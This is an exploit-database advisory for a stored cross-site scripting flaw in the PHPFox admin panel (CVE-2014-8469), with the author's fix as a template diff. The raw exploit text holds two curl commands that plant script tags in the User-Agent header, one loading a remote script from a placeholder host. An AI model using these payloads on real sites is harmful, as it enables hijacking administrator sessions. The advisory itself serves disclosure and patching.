PHPFox XSS AdminCP

vendor:

PHPFox

by:

Wesley Henrique Leite aka "spyk2r"

7.5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: PHPFox

Affected Version From: All versions

Affected Version To: Not provided

Patch Exists: YES

Related CWE: CVE-2014-8469

CPE: a:moxi9:phpfox

Metasploit:

Other Scripts:

Platforms Tested:

2014

The PHPFox admin control panel (AdminCP) is vulnerable to a cross-site scripting (XSS) attack. The vulnerability allows an attacker to inject malicious scripts into the user_agent field of the phpfox_log_session table, which is displayed in the AdminCP's Online Guests/Boots page. An attacker with administrative access can exploit this vulnerability to execute arbitrary scripts in the administrative area of the PHPFox website.

Mitigation:

The vendor fixed the vulnerability on October 23, 2014, with the release of PHPFox v4 Beta. Users should update to the latest version of PHPFox to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: PHPFox XSS AdminCP
# Date: 2014-10-22
# Exploit Author: Wesley Henrique Leite aka "spyk2r"
# Vendor Homepage: http://www.moxi9.com
# Version: All version
# CVE : CVE-2014-8469

# Response Vendor: fixed 2014-10-23 (to v4 Beta)

[+] DESCRIPTION

The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'

[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
|       Field         | Type         | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
++++++++++ more values and
| user_agent  | varchar(100)  | NO   |       | NULL    |       |
+---------------+----------------------+------+-----+---------+-------+

the column that can be manipulated is:
-> user_agent (100)

all acess store in the system, such as bots and users wandering around the
web site, can be seen in:

AdminCP
TOOLS > Online > Guests/Boots

Output
| IP ADDRESS   | User-Agent    |   ...

knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.

$ curl -A "<script src='http://www.example.com/script.js'></script>" \
 http://www.meusite.com.br/

OR

$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/

when any user with administrative access in.
'AdminCP'
TOOLS > Online > Guests/Boots

we have the script running in the administrative area.


[+] My Solution

   (line 1.8)

     1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 10:00:11 2014 -0200
     1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 12:28:39 2014 -0200
     1.3 @@ -25,7 +25,7 @@
     1.4  {foreach from=$aGuests key=iKey item=aGuest}
     1.5   <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
     1.6   <td><a href="{url link='admincp.core.ip'
search=$aGuest.ip_address_search}" title="{phrase
var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
     1.7 - <td>{$aGuest.user_agent}</td>
     1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
     1.9   <td class="t_center">
    1.10   <div class="js_item_is_active"{if !$aGuest.ban_id}
style="display:none;"{/if}>
    1.11   <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"
class="js_item_active_link" title="{phrase var='admincp.unban'}">{img
theme='misc/bullet_green.png' alt=''}</a>
    1.12 @@ -43,4 +43,4 @@
    1.13  <div class="extra_info">
    1.14   {phrase var='admincp.no_guests_online'}
    1.15  </div>
    1.16 -{/if}
    1.17 \ No newline at end of file
    1.18 +{/if}